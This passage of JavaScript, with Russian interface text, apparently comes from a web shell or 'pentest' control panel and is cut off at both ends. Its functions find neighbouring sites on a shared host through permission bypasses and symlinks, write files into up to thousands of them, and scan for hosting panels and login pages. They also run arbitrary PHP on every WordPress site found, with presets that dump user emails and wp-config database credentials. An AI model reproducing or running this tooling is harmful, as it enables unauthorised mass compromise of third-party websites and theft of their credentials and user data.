h.push('<pre style="max-height:100px;overflow:auto">' + t.content.substring(0, 500) + '</pre>');
}
h.push('</div>');
});
}
h.push('</div></details>');
}
// Userdata
if (data.userdata && data.userdata.length > 0) {
h.push('<details class="coll"><summary>📁 Userdata (' + data.userdata.length + ')</summary><div>');
data.userdata.forEach(function(u) {
h.push('<details><summary><code>' + u.path + '</code></summary>');
h.push('<pre style="max-height:200px;overflow:auto">' + (u.content || '-').substring(0, 2000) + '</pre>');
h.push('</details>');
});
h.push('</div></details>');
}
// Access files
if (data.access_files && data.access_files.length > 0) {
h.push('<details class="coll"><summary>📄 Accessible Config Files (' + data.access_files.length + ')</summary><div>');
h.push('<table><tr><th>Name</th><th>Path</th><th>Size</th></tr>');
data.access_files.forEach(function(f) {
h.push('<tr>');
h.push('<td>' + f.name + '</td>');
h.push('<td><code class="small">' + f.path + '</code></td>');
h.push('<td>' + (f.size || '-') + '</td>');
h.push('</tr>');
});
h.push('</table>');
// Показать preview для каждого файла
data.access_files.forEach(function(f) {
if (f.preview) {
h.push('<details><summary class="small">' + f.name + ' preview</summary>');
h.push('<pre style="max-height:150px;overflow:auto">' + f.preview + '</pre>');
h.push('</details>');
}
});
h.push('</div></details>');
}
return h.join('');
}
// CORS Check
async function runCorsCheck() {
var url = prompt('Введите URL для проверки CORS:', 'https://example.com/api/endpoint');
if (!url) return;
closePentestModal();
try {
var loadingHtml = '<div style="text-align:center;padding:50px"><h3>⏳ Проверка CORS...</h3></div>';
openPentestModal('🌐 CORS Check', loadingHtml);
var response = await fetch('?api=cors_check&url=' + encodeURIComponent(url) + dbg);
var data = await response.json();
if (data.status === 'ok') {
var html = '<h4>URL: ' + data.url + '</h4>';
var vulnCount = 0;
html += '<table><tr><th>Origin</th><th>ACAO</th><th>Credentials</th><th>Vulnerable</th><th>Type</th></tr>';
data.cors_results.forEach(function(r) {
if (r.vulnerable) vulnCount++;
var sevColor = r.severity === 'critical' ? '#f66' : (r.severity === 'high' ? '#fa0' : (r.severity === 'medium' ? '#ff0' : '#0f0'));
html += '<tr><td><code>' + r.origin + '</code></td><td><code>' + (r.acao || '-') + '</code></td><td>' + (r.acac ? '<span class="tag-warn">Yes</span>' : 'No') + '</td><td style="color:' + sevColor + '">' + (r.vulnerable ? r.severity.toUpperCase() : 'No') + '</td><td>' + (r.vulnerability_type || '-') + '</td></tr>';
});
html += '</table>';
if (vulnCount > 0) {
html = '<div class="tag-err" style="padding:10px;margin-bottom:15px">⚠️ ' + vulnCount + ' CORS vulnerabilities found!</div>' + html;
} else {
html = '<div class="tag-ok" style="padding:10px;margin-bottom:15px">✓ No CORS vulnerabilities detected</div>' + html;
}
openPentestModal('🌐 CORS Check - ' + url, html);
} else {
alert('Error: ' + (data.message || 'Unknown error'));
closePentestModal();
}
} catch (e) {
alert('Error: ' + e.message);
closePentestModal();
}
}
// SSI Injection Check
async function runSsiCheck() {
var url = prompt('Введите URL для проверки SSI:', 'https://example.com/page.shtml');
if (!url) return;
closePentestModal();
try {
var loadingHtml = '<div style="text-align:center;padding:50px"><h3>⏳ Проверка SSI Injection...</h3></div>';
openPentestModal('💉 SSI Injection Check', loadingHtml);
var response = await fetch('?api=ssi_check&url=' + encodeURIComponent(url) + dbg);
var data = await response.json();
if (data.status === 'ok') {
var results = data.ssi_results;
var html = '<h4>URL: ' + data.url + '</h4>';
if (results.vulnerable) {
html += '<div class="tag-err" style="padding:10px;margin-bottom:15px">⚠️ SSI Injection VULNERABLE!</div>';
if (results.successful_payloads && results.successful_payloads.length > 0) {
html += '<h5>Successful Payloads:</h5>';
html += '<table><tr><th>Param</th><th>Payload</th><th>Matched</th></tr>';
results.successful_payloads.forEach(function(p) {
html += '<tr><td>' + p.param + '</td><td><code>' + p.payload_name + '</code></td><td>' + (p.matched || '-') + '</td></tr>';
});
html += '</table>';
}
} else {
html += '<div class="tag-ok" style="padding:10px;margin-bottom:15px">✓ No SSI Injection detected</div>';
}
html += '<div class="small muted" style="margin-top:15px">Tested ' + (results.tests ? results.tests.length : 0) + ' payload combinations</div>';
openPentestModal('💉 SSI Injection Check', html);
} else {
alert('Error: ' + (data.message || 'Unknown error'));
closePentestModal();
}
} catch (e) {
alert('Error: ' + e.message);
closePentestModal();
}
}
/* ==================== МАССОВЫЙ ДЕПЛОЙ НА СОСЕДЕЙ ==================== */
// Хранилище для результатов деплоя (для cleanup)
var lastNeighborDeployResults = null;
// Neighbor Deploy Button
var btnNeighborDeploy = document.getElementById('btnNeighborDeploy');
if (btnNeighborDeploy) {
btnNeighborDeploy.addEventListener('click', function() {
var html = '<h4>🎯 Массовый деплой маркера на соседние сайты</h4>';
html += '<p class="small muted">Использует ВСЕ методы bypass для поиска соседей и деплоя вашего маркера</p>';
html += '<div style="display:grid;gap:12px;margin:20px 0">';
html += '<div class="flex" style="gap:10px"><label style="width:140px">Имя маркера:</label><input type="text" id="neighborMarkerName" value="marker.txt" style="flex:1"></div>';
html += '<div><label>Содержимое маркера:</label><textarea id="neighborMarkerContent" rows="4" style="width:100%;margin-top:5px" placeholder="<?php /* Marker */ ?>"></textarea></div>';
html += '<div class="flex" style="gap:10px"><label style="width:140px">Субдиректория:</label><input type="text" id="neighborSubdir" value="" placeholder="например: wp-content/uploads" style="flex:1"></div>';
html += '<div class="flex" style="gap:10px"><label style="width:140px">Макс. соседей:</label><input type="number" id="neighborMaxNeighbors" value="500" min="10" max="5000" style="width:100px"></div>';
html += '<div class="flex" style="flex-wrap:wrap;gap:15px;margin-top:10px">';
html += '<label><input type="checkbox" id="neighborUseBypass" checked> Bypass методы</label>';
html += '<label><input type="checkbox" id="neighborUseDb" checked> DB discovery</label>';
html += '<label><input type="checkbox" id="neighborUseSymlinks" checked> Symlinks</label>';
html += '<label><input type="checkbox" id="neighborUseShm" checked> Shared Memory</label>';
html += '<label><input type="checkbox" id="neighborOverwrite"> Перезаписывать</label>';
html += '</div>';
html += '</div>';
html += '<div style="display:flex;gap:10px;margin-top:20px">';
html += '<button class="btn" onclick="runNeighborScan()" style="flex:1">🔍 Только скан</button>';
html += '<button class="btn" onclick="runNeighborDeploy(true)" style="flex:1">🧪 Dry Run</button>';
html += '<button class="btn" onclick="runNeighborDeploy(false)" style="flex:1;background:linear-gradient(135deg,#f00,#a00);border-color:#f00">🚀 ДЕПЛОЙ!</button>';
html += '</div>';
if (lastNeighborDeployResults && lastNeighborDeployResults.stats && lastNeighborDeployResults.stats.successful_deploys > 0) {
html += '<div style="margin-top:15px;padding-top:15px;border-top:1px solid var(--line)">';
html += '<button class="btn" onclick="runNeighborCleanup()" style="background:#666">🗑️ Очистить последний деплой (' + lastNeighborDeployResults.stats.successful_deploys + ' файлов)</button>';
html += '</div>';
}
openPentestModal('🎯 Neighbor Deploy', html);
});
}
// Быстрый скан соседей
async function runNeighborScan() {
var max = parseInt(document.getElementById('neighborMaxNeighbors').value) || 100;
try {
var loadingHtml = '<div style="text-align:center;padding:50px"><h3>⏳ Сканирование соседей...</h3><div class="small muted">Используются все методы bypass</div></div>';
openPentestModal('🔍 Neighbor Scan', loadingHtml);
var response = await fetch('?api=neighbor_scan&max=' + max + dbg);
var data = await response.json();
if (data.status === 'ok') {
renderNeighborResults(data.neighbor_scan, true);
} else {
alert('Error: ' + (data.message || 'Unknown error'));
closePentestModal();
}
} catch (e) {
alert('Error: ' + e.message);
closePentestModal();
}
}
// Деплой на соседей
async function runNeighborDeploy(dryRun) {
var markerName = document.getElementById('neighborMarkerName').value || 'marker.txt';
var markerContent = document.getElementById('neighborMarkerContent').value || '';
var subdir = document.getElementById('neighborSubdir').value || '';
var maxNeighbors = parseInt(document.getElementById('neighborMaxNeighbors').value) || 500;
var useBypass = document.getElementById('neighborUseBypass').checked;
var useDb = document.getElementById('neighborUseDb').checked;
var useSymlinks = document.getElementById('neighborUseSymlinks').checked;
var useShm = document.getElementById('neighborUseShm').checked;
var overwrite = document.getElementById('neighborOverwrite').checked;
var fd = new FormData();
fd.append('csrf', csrf);
fd.append('marker_name', markerName);
fd.append('marker_content', markerContent);
fd.append('subdir', subdir);
fd.append('max_neighbors', maxNeighbors);
fd.append('use_bypass', useBypass ? '1' : '0');
fd.append('use_db', useDb ? '1' : '0');
fd.append('use_symlinks', useSymlinks ? '1' : '0');
fd.append('use_shm', useShm ? '1' : '0');
fd.append('overwrite', overwrite ? '1' : '0');
fd.append('dry_run', dryRun ? '1' : '0');
try {
var action = dryRun ? 'Dry Run' : 'ДЕПЛОЙ';
var loadingHtml = '<div style="text-align:center;padding:50px"><h3>⏳ ' + action + '...</h3><div class="small muted">Поиск соседей и ' + (dryRun ? 'проверка' : 'запись') + ' маркера</div></div>';
openPentestModal('🎯 ' + action, loadingHtml);
var response = await fetch('?api=neighbor_deploy' + dbg, { method: 'POST', body: fd });
var data = await response.json();
if (data.status === 'ok') {
if (!dryRun) {
lastNeighborDeployResults = data.neighbor_deploy;
}
renderNeighborResults(data.neighbor_deploy, false);
} else {
alert('Error: ' + (data.message || 'Unknown error'));
closePentestModal();
}
} catch (e) {
alert('Error: ' + e.message);
closePentestModal();
}
}
// Очистка деплоя
async function runNeighborCleanup() {
if (!lastNeighborDeployResults || !lastNeighborDeployResults.deploy_results) {
alert('Нет данных для очистки');
return;
}
if (!confirm('Удалить ' + lastNeighborDeployResults.stats.successful_deploys + ' деплоенных маркеров?')) {
return;
}
var fd = new FormData();
fd.append('csrf', csrf);
fd.append('deploy_results', JSON.stringify(lastNeighborDeployResults.deploy_results));
try {
var response = await fetch('?api=neighbor_cleanup' + dbg, { method: 'POST', body: fd });
var data = await response.json();
if (data.status === 'ok') {
var deleted = data.cleanup.filter(function(c) { return c.deleted; }).length;
alert('Удалено ' + deleted + ' из ' + data.cleanup.length + ' файлов');
lastNeighborDeployResults = null;
} else {
alert('Error: ' + (data.message || 'Unknown error'));
}
} catch (e) {
alert('Error: ' + e.message);
}
}
// Рендер результатов neighbor scan/deploy
function renderNeighborResults(data, scanOnly) {
var h = [];
// Stats summary
var stats = data.stats || {};
h.push('<div class="flex" style="flex-wrap:wrap;gap:10px;margin-bottom:20px">');
h.push('<span class="badge">⏱️ ' + (stats.execution_time || '?') + 's</span>');
h.push('<span class="badge">🏠 Соседей: ' + (stats.total_neighbors || 0) + '</span>');
h.push('<span class="badge" style="background:#0a0">✍️ Writable: ' + (stats.total_writable || 0) + '</span>');
if (!scanOnly) {
h.push('<span class="badge" style="background:#0f0;color:#000">✅ Успешно: ' + (stats.successful_deploys || 0) + '</span>');
h.push('<span class="badge" style="background:#f00">❌ Ошибок: ' + (stats.failed_deploys || 0) + '</span>');
}
h.push('</div>');
// Methods used
if (data.methods_used && data.methods_used.length > 0) {
h.push('<details class="coll"><summary>🔧 Использованные методы (' + data.methods_used.length + ')</summary><div>');
h.push('<div class="small" style="display:flex;flex-wrap:wrap;gap:8px">');
data.methods_used.forEach(function(m) {
h.push('<span class="badge">' + m + '</span>');
});
h.push('</div></div></details>');
}
// Method errors
if (data.method_errors && data.method_errors.length > 0) {
h.push('<details class="coll"><summary style="color:#fa0">⚠️ Ошибки методов (' + data.method_errors.length + ')</summary><div>');
h.push('<table><tr><th>Метод</th><th>Ошибка</th></tr>');
data.method_errors.forEach(function(e) {
h.push('<tr>');
h.push('<td><span class="badge small">' + e.method + '</span></td>');
h.push('<td class="small" style="color:#fa0">' + e.error + '</td>');
h.push('</tr>');
});
h.push('</table>');
h.push('<p class="small muted" style="margin-top:8px">Ошибки не прервали работу других методов. Сканирование продолжилось.</p>');
h.push('</div></details>');
}
// Neighbors found
if (data.neighbors_found && data.neighbors_found.length > 0) {
h.push('<details class="coll" open><summary>🏠 Найденные соседи (' + data.neighbors_found.length + ')</summary><div>');
h.push('<table><tr><th>Домен</th><th>Путь</th><th>Источник</th><th>WP</th><th>User</th></tr>');
data.neighbors_found.slice(0, 100).forEach(function(n) {
var domainLink = n.domain ?
'<a href="' + (n.protocol || 'http') + '://' + n.domain + '/" target="_blank" style="color:#0af">' + n.domain + '</a>' :
'<span class="muted">—</span>';
h.push('<tr>');
h.push('<td>' + domainLink + (n.domain_method ? ' <span class="badge small">' + n.domain_method + '</span>' : '') + '</td>');
h.push('<td><code class="small">' + n.path + '</code></td>');
h.push('<td><span class="badge small">' + n.source + '</span></td>');
h.push('<td>' + (n.is_wp ? '✅' + (n.wp_version ? ' <span class="small muted">' + n.wp_version + '</span>' : '') : '-') + '</td>');
h.push('<td>' + (n.user || '-') + '</td>');
h.push('</tr>');
});
if (data.neighbors_found.length > 100) {
h.push('<tr><td colspan="5" class="small muted">... и ещё ' + (data.neighbors_found.length - 100) + '</td></tr>');
}
h.push('</table></div></details>');
}
// Writable paths
if (data.writable_paths && data.writable_paths.length > 0) {
h.push('<details class="coll" open><summary style="color:#0f0">✍️ Writable пути (' + data.writable_paths.length + ')</summary><div>');
h.push('<table><tr><th>Домен</th><th>Путь</th><th>Источник</th><th>WP-content</th></tr>');
data.writable_paths.slice(0, 100).forEach(function(w) {
var domainLink = w.domain ?
'<a href="' + (w.protocol || 'http') + '://' + w.domain + '/" target="_blank" style="color:#0af">' + w.domain + '</a>' :
'<span class="muted">—</span>';
h.push('<tr>');
h.push('<td>' + domainLink + '</td>');
h.push('<td><code class="small">' + w.path + '</code></td>');
h.push('<td><span class="badge small">' + w.source + '</span></td>');
h.push('<td>' + (w.is_wp_content ? '✅' : '-') + '</td>');
h.push('</tr>');
});
if (data.writable_paths.length > 100) {
h.push('<tr><td colspan="4" class="small muted">... и ещё ' + (data.writable_paths.length - 100) + '</td></tr>');
}
h.push('</table></div></details>');
}
// Deploy results
if (!scanOnly && data.deploy_results && data.deploy_results.length > 0) {
var successDeploys = data.deploy_results.filter(function(d) { return d.status === 'success' || d.status === 'dry_run'; });
var failedDeploys = data.deploy_results.filter(function(d) { return d.status === 'failed'; });
if (successDeploys.length > 0) {
h.push('<details class="coll" open><summary style="color:#0f0">✅ Успешные деплои (' + successDeploys.length + ')</summary><div>');
h.push('<table><tr><th>Домен</th><th>URL маркера</th><th>Путь</th><th>Метод</th></tr>');
successDeploys.slice(0, 50).forEach(function(d) {
var isDry = d.status === 'dry_run';
var domainDisplay = d.domain ? '<strong style="color:#0af">' + d.domain + '</strong>' : '<span class="muted">—</span>';
var urlDisplay = d.url ?
'<a href="' + d.url + '" target="_blank" style="color:#0f0;font-weight:bold;text-decoration:underline">🔗 ' + d.url + '</a>' +
(isDry ? ' <span class="badge small" style="background:#fa0;color:#000">DRY RUN</span>' : '') :
(d.relative_url ? '<code>' + d.relative_url + '</code> <span class="muted small">(домен неизвестен)</span>' : '<span class="muted">—</span>');
h.push('<tr>');
h.push('<td>' + domainDisplay + '</td>');
h.push('<td>' + urlDisplay + '</td>');
h.push('<td><code class="small">' + d.target + '</code></td>');
h.push('<td><span class="badge small">' + (d.url_method || d.source || '-') + '</span></td>');
h.push('</tr>');
});
if (successDeploys.length > 50) {
h.push('<tr><td colspan="4" class="small muted">... и ещё ' + (successDeploys.length - 50) + '</td></tr>');
}
h.push('</table>');
// Добавляем копируемый список URL
var allUrls = successDeploys.filter(function(d) { return d.url; }).map(function(d) { return d.url; });
if (allUrls.length > 0) {
h.push('<details style="margin-top:10px"><summary class="small">📋 Копировать все URL (' + allUrls.length + ')</summary>');
h.push('<textarea style="width:100%;height:150px;margin-top:5px;font-family:monospace;font-size:11px;background:#1a1a1a;color:#0f0;border:1px solid #333" readonly>' + allUrls.join('\\n') + '</textarea>');
h.push('<button class="btn small" onclick="navigator.clipboard.writeText(this.previousElementSibling.value).then(function(){alert(\'Скопировано!\')})" style="margin-top:5px">📋 Copy to clipboard</button>');
h.push('</details>');
}
h.push('</div></details>');
}
if (failedDeploys.length > 0) {
h.push('<details class="coll"><summary style="color:#f00">❌ Ошибки (' + failedDeploys.length + ')</summary><div>');
h.push('<table><tr><th>Домен</th><th>Цель</th><th>Ошибка</th></tr>');
failedDeploys.slice(0, 20).forEach(function(d) {
h.push('<tr>');
h.push('<td>' + (d.domain || '<span class="muted">—</span>') + '</td>');
h.push('<td><code class="small">' + d.target + '</code></td>');
h.push('<td class="small">' + (d.error || d.reason || '-') + '</td>');
h.push('</tr>');
});
if (failedDeploys.length > 20) {
h.push('<tr><td colspan="3" class="small muted">... и ещё ' + (failedDeploys.length - 20) + '</td></tr>');
}
h.push('</table></div></details>');
}
}
// Action buttons
h.push('<div style="display:flex;gap:10px;margin-top:20px;padding-top:15px;border-top:1px solid var(--line)">');
h.push('<button class="btn" onclick="document.getElementById(\'btnNeighborDeploy\').click()">← Назад</button>');
if (data.deploy_results && stats.successful_deploys > 0) {
h.push('<button class="btn" onclick="runNeighborCleanup()">🗑️ Удалить деплоенные файлы</button>');
}
h.push('</div>');
openPentestModal('🎯 Neighbor ' + (scanOnly ? 'Scan' : 'Deploy') + ' Results', h.join(''));
}
// ==================== НОВЫЕ ФУНКЦИИ ИЗ "Что нужно внедрить.txt" ====================
// Сканирование панелей управления
async function scanPanels() {
try {
openPentestModal('🔍 Hosting Panel Detection', '<div style="text-align:center;padding:50px"><h3>⏳ Сканирование...</h3></div>');
var response = await fetch('?api=scan_panels' + dbg);
var data = await response.json();
if (data.status === 'ok') {
var h = [];
h.push('<div class="flex" style="margin-bottom:15px"><span class="badge">Найдено панелей: ' + data.count + '</span></div>');
if (data.panels && data.panels.length > 0) {
h.push('<table><thead><tr><th>URL</th><th>Тип</th><th>HTTP</th><th>Форма входа</th></tr></thead><tbody>');
data.panels.forEach(function(p) {
var typeColor = p.type !== 'unknown' ? 'color:#0f0' : 'color:#fa0';
h.push('<tr>');
h.push('<td><a href="' + p.url + '" target="_blank" style="color:#0af">' + p.url + '</a></td>');
h.push('<td style="' + typeColor + '">' + p.type + '</td>');
h.push('<td>' + p.http_code + '</td>');
h.push('<td>' + (p.has_login_form ? '✅ Да' : '❌ Нет') + '</td>');
h.push('</tr>');
});
h.push('</tbody></table>');
} else {
h.push('<div class="muted">Панели управления не обнаружены</div>');
}
openPentestModal('🔍 Hosting Panel Detection', h.join(''));
} else {
openPentestModal('🔍 Hosting Panel Detection', '<div style="color:#f00">Ошибка: ' + (data.message || 'Unknown') + '</div>');
}
} catch(e) {
openPentestModal('🔍 Hosting Panel Detection', '<div style="color:#f00">Ошибка: ' + e.message + '</div>');
}
}
// Поиск страниц авторизации
async function scanLogins() {
try {
var url = prompt('Введите URL для сканирования:', window.location.origin);
if (!url) return;
openPentestModal('🔑 Login Page Scanner', '<div style="text-align:center;padding:50px"><h3>⏳ Сканирование...</h3></div>');
var fd = new FormData();
fd.append('url', url);
var response = await fetch('?api=find_logins' + dbg, { method: 'POST', body: fd });
var data = await response.json();
if (data.status === 'ok') {
var h = [];
h.push('<div class="flex" style="margin-bottom:15px">');
h.push('<span class="badge">URL: ' + data.url + '</span>');
h.push('<span class="badge">Найдено: ' + data.logins.length + '</span>');
h.push('</div>');
if (data.logins && data.logins.length > 0) {
h.push('<table><thead><tr><th>URL</th><th>Тип</th><th>Детали</th></tr></thead><tbody>');
data.logins.forEach(function(l) {
h.push('<tr>');
h.push('<td><a href="' + l.url + '" target="_blank" style="color:#0af">' + l.url + '</a></td>');
h.push('<td><span class="badge">' + (l.details.type || 'Unknown') + '</span></td>');
h.push('<td class="small">' + JSON.stringify(l.details).substring(0, 100) + '</td>');
h.push('</tr>');
});
h.push('</tbody></table>');
} else {
h.push('<div class="muted">Страницы авторизации не найдены</div>');
}
openPentestModal('🔑 Login Page Scanner', h.join(''));
} else {
openPentestModal('🔑 Login Page Scanner', '<div style="color:#f00">Ошибка: ' + (data.message || 'Unknown') + '</div>');
}
} catch(e) {
openPentestModal('🔑 Login Page Scanner', '<div style="color:#f00">Ошибка: ' + e.message + '</div>');
}
}
// Расширенное обнаружение доменов
async function discoverDomains() {
try {
openPentestModal('🌐 Mass Domain Discovery', '<div style="text-align:center;padding:50px"><h3>⏳ Обнаружение доменов...</h3></div>');
var response = await fetch('?api=mass_discover' + dbg);
var data = await response.json();
if (data.status === 'ok') {
var h = [];
h.push('<div class="flex" style="margin-bottom:15px"><span class="badge">Найдено доменов: ' + data.count + '</span></div>');
if (data.domains && data.domains.length > 0) {
h.push('<div style="max-height:500px;overflow-y:auto">');
h.push('<table><thead><tr><th>#</th><th>Домен</th><th>Действия</th></tr></thead><tbody>');
data.domains.forEach(function(d, i) {
h.push('<tr>');
h.push('<td>' + (i+1) + '</td>');
h.push('<td><a href="http://' + d + '" target="_blank" style="color:#0af">' + d + '</a></td>');
h.push('<td><button class="btn small" onclick="checkDomainUrl(\'' + d + '\')">🔗 Check</button></td>');
h.push('</tr>');
});
h.push('</tbody></table></div>');
h.push('<details style="margin-top:15px"><summary class="small">📋 Копировать список</summary>');
h.push('<textarea style="width:100%;height:150px;margin-top:5px;font-family:monospace;font-size:11px;background:#1a1a1a;color:#0f0" readonly>' + data.domains.join('\\n') + '</textarea>');
h.push('<button class="btn small" onclick="navigator.clipboard.writeText(this.previousElementSibling.value).then(function(){alert(\'Скопировано!\')})" style="margin-top:5px">📋 Copy</button>');
h.push('</details>');
} else {
h.push('<div class="muted">Домены не обнаружены</div>');
}
openPentestModal('🌐 Mass Domain Discovery', h.join(''));
} else {
openPentestModal('🌐 Mass Domain Discovery', '<div style="color:#f00">Ошибка: ' + (data.message || 'Unknown') + '</div>');
}
} catch(e) {
openPentestModal('🌐 Mass Domain Discovery', '<div style="color:#f00">Ошибка: ' + e.message + '</div>');
}
}
function checkDomainUrl(domain) {
window.open('http://' + domain, '_blank');
}
// Массовое выполнение скрипта на всех WP сайтах
async function massExecute() {
try {
var h = [];
h.push('<div style="padding:10px">');
h.push('<h4>⚡ Массовое выполнение PHP на всех WordPress сайтах</h4>');
h.push('<div class="muted small" style="margin-bottom:15px">Код будет выполнен на каждом найденном WP сайте через временный файл</div>');
h.push('<label>PHP код для выполнения (БЕЗ <?php):</label>');
h.push('<textarea id="massExecCode" style="width:100%;height:200px;font-family:monospace;font-size:12px;background:#0a0a0a;color:#0f0;border:1px solid #333" placeholder="echo \'Hello from \' . $_SERVER[\'HTTP_HOST\'];">echo "Site: " . $_SERVER[\'HTTP_HOST\'] . "\\n";\necho "Path: " . __DIR__ . "\\n";\necho "PHP: " . PHP_VERSION;</textarea>');
h.push('<label style="margin-top:10px">Таймаут (секунды):</label>');
h.push('<input type="number" id="massExecTimeout" value="10" min="5" max="60" style="width:100px">');
h.push('<fieldset style="margin-top:15px;border:1px solid var(--line);padding:10px;border-radius:8px">');
h.push('<legend style="color:#0f0">📝 Примеры кода</legend>');
h.push('<div style="display:flex;gap:8px;flex-wrap:wrap">');
h.push('<button class="btn small" onclick="setExecPreset(\'info\')" style="background:#050">📋 Инфо о сервере</button>');
h.push('<button class="btn small" onclick="setExecPreset(\'users\')" style="background:#050">👥 Список юзеров WP</button>');
h.push('<button class="btn small" onclick="setExecPreset(\'plugins\')" style="background:#050">🔌 Активные плагины</button>');
h.push('<button class="btn small" onclick="setExecPreset(\'config\')" style="background:#050">⚙️ DB Config</button>');
h.push('<button class="btn small" onclick="setExecPreset(\'version\')" style="background:#050">📌 WP Version</button>');
h.push('<button class="btn small" onclick="setExecPreset(\'dirs\')" style="background:#050">📁 Директории</button>');
h.push('</div>');
h.push('</fieldset>');
h.push('<div style="margin-top:15px;padding:10px;background:#1a0a0a;border:1px solid #500;border-radius:8px">');
h.push('<div style="color:#f00;font-weight:bold">⚠️ ВНИМАНИЕ!</div>');
h.push('<div class="small" style="color:#fa0">Код будет выполнен на ВСЕХ найденных WordPress сайтах!</div>');
h.push('</div>');
h.push('<div style="margin-top:15px;display:flex;gap:10px">');
h.push('<button class="btn" onclick="runMassPhpExec()" style="background:#f50;border-color:#f50">⚡ Выполнить на всех</button>');
h.push('<button class="btn" onclick="closePentestModal()">Отмена</button>');
h.push('</div>');
h.push('</div>');
openPentestModal('⚡ Mass PHP Execution', h.join(''));
} catch(e) {
alert('Error: ' + e.message);
}
}
function setExecPreset(type) {
var code = '';
switch(type) {
case 'info':
code = 'echo "Host: " . $_SERVER[\'HTTP_HOST\'] . "\\n";\necho "Path: " . __DIR__ . "\\n";\necho "PHP: " . PHP_VERSION . "\\n";\necho "Server: " . $_SERVER[\'SERVER_SOFTWARE\'] . "\\n";\necho "User: " . get_current_user();';
break;
case 'users':
code = 'require_once(__DIR__ . "/wp-load.php");\nglobal $wpdb;\n$users = $wpdb->get_results("SELECT ID, user_login, user_email, display_name FROM {$wpdb->users} LIMIT 20");\nforeach($users as $u) {\n echo $u->ID . " | " . $u->user_login . " | " . $u->user_email . "\\n";\n}';
break;
case 'plugins':
code = 'require_once(__DIR__ . "/wp-load.php");\n$plugins = get_option("active_plugins");\necho "Active plugins:\\n";\nforeach($plugins as $p) {\n echo "- " . $p . "\\n";\n}';
break;
case 'config':
code = "if(file_exists(__DIR__.\"/wp-config.php\")) {\n $c = file_get_contents(__DIR__.\"/wp-config.php\");\n preg_match_all(\"/define\\\\(['\\\"](DB_[^'\\\"]*)['\\\"],\\\\s*['\\\"]([^'\\\"]*)['\\\"]\\\\)/\", $c, $m);\n for($i=0; $i<count($m[1]); $i++) {\n echo $m[1][$i] . \" = \" . $m[2][$i] . \"\\n\";\n }\n}";
break;
case 'version':
code = 'require_once(__DIR__ . "/wp-includes/version.php");\necho "WordPress: " . $wp_version . "\\n";\necho "DB Version: " . $wp_db_version . "\\n";\necho "Site URL: " . get_option("siteurl");';
break;
case 'dirs':
code = 'echo "Root: " . __DIR__ . "\\n";\necho "wp-content: " . (is_dir(__DIR__."/wp-content") ? "exists" : "no") . "\\n";\necho "uploads: " . (is_dir(__DIR__."/wp-content/uploads") ? "exists" : "no") . "\\n";\necho "plugins: " . (is_dir(__DIR__."/wp-content/plugins") ? "exists" : "no") . "\\n";\necho "themes: " . (is_dir(__DIR__."/wp-content/themes") ? "exists" : "no");';
break;
}
document.getElementById('massExecCode').value = code;
}
async function runMassPhpExec() {
try {
var code = document.getElementById('massExecCode').value.trim();
var timeout = parseInt(document.getElementById('massExecTimeout').value) || 10;
if (!code) {
alert('Введите PHP код для выполнения');
return;
}
if (!confirm('Вы уверены, что хотите выполнить этот код на ВСЕХ найденных WordPress сайтах?')) {
return;
}
openPentestModal('⚡ Mass PHP Execution', '<div style="text-align:center;padding:50px"><h3>⏳ Выполнение...</h3><div class="small muted">Поиск WordPress сайтов и выполнение кода</div><div class="small muted" style="margin-top:10px">Это может занять несколько минут...</div></div>');
var fd = new FormData();
fd.append('csrf', csrf);
fd.append('code', code);
fd.append('timeout', timeout);
var response = await fetch('?api=mass_php_exec' + dbg, { method: 'POST', body: fd });
var data = await response.json();
if (data.status === 'ok') {
renderMassExecResults(data.results);
} else {
openPentestModal('⚡ Mass PHP Execution', '<div style="color:#f00;padding:20px">Ошибка: ' + (data.message || 'Unknown') + '</div>');
}
} catch(e) {
openPentestModal('⚡ Mass PHP Execution', '<div style="color:#f00;padding:20px">Ошибка: ' + e.message + '</div>');
}
}
function renderMassExecResults(results) {
var h = [];
h.push('<div class="flex" style="margin-bottom:15px;flex-wrap:wrap;gap:10px">');
h.push('<span class="badge">Всего сайтов: ' + results.total + '</span>');
h.push('<span class="badge" style="background:#0a0">✅ Успешно: ' + results.success_count + '</span>');
h.push('<span class="badge" style="background:#a00">❌ Ошибок: ' + results.failed_count + '</span>');
h.push('</div>');
if (results.success_count > 0) {
h.push('<details class="coll" open><summary style="color:#0f0">✅ Успешно выполнено (' + results.success_count + ')</summary><div>');
results.sites.filter(function(s) { return s.success; }).forEach(function(s, idx) {
h.push('<div style="margin-bottom:15px;padding:10px;background:#0a0a0a;border:1px solid #333;border-radius:8px">');
h.push('<div style="display:flex;justify-content:space-between;align-items:center;margin-bottom:10px">');
h.push('<strong style="color:#0af">' + (s.domain || 'Unknown') + '</strong>');
if (s.url) {
h.push('<a href="' + s.url + '" target="_blank" class="btn small">🔗 Open</a>');
}
h.push('</div>');
h.push('<div class="small muted" style="margin-bottom:5px">Path: ' + s.path + '</div>');
h.push('<div style="background:#000;padding:10px;border-radius:4px;font-family:monospace;font-size:11px;white-space:pre-wrap;max-height:200px;overflow-y:auto;color:#0f0">' + escapeHtml(s.output || '(empty output)') + '</div>');
h.push('<button class="btn small" style="margin-top:5px" onclick="navigator.clipboard.writeText(' + JSON.stringify(s.output || '') + ').then(function(){alert(\'Скопировано!\')})">📋 Copy output</button>');
h.push('</div>');
});
h.push('</div></details>');
}
if (results.failed_count > 0) {
h.push('<details class="coll"><summary style="color:#f00">❌ Ошибки (' + results.failed_count + ')</summary><div>');
h.push('<table><thead><tr><th>Домен/Путь</th><th>Ошибка</th></tr></thead><tbody>');
results.sites.filter(function(s) { return !s.success; }).forEach(function(s) {
h.push('<tr>');
h.push('<td>' + (s.domain || '<span class="muted">—</span>') + '<br><code class="small">' + s.path + '</code></td>');
h.push('<td style="color:#fa0">' + (s.error || 'Unknown error') + '</td>');
h.push('</tr>');
});
h.push('</tbody></table></div></details>');
}
h.push('<div style="margin-top:20px;padding-top:15px;border-top:1px solid var(--line)">');
h.push('<button class="btn" onclick="massExecute()">← Назад</button>');
h.push('<button class="btn" onclick="closePentestModal()" style="margin-left:10px">Закрыть</button>');
h.push('</div>');
openPentestModal('⚡ Mass PHP Execution - Результаты', h.join(''));
}
function escapeHtml(text) {
var div = document.createElement('div');
div.textContent = text;
return div.innerHTML;
}
// Смена пароля через БД
async function changePassword() {
try {
var h = [];
h.push('<div style="padding:10px">');
h.push('<h4>🔐 Смена пароля через базу данных</h4>');
h.push('<div class="muted small" style="margin-bottom:15px;color:#f00">ВНИМАНИЕ: Требуется доступ к БД сайта!</div>');
h.push('<label>Путь к WordPress (wp-config.php):</label>');
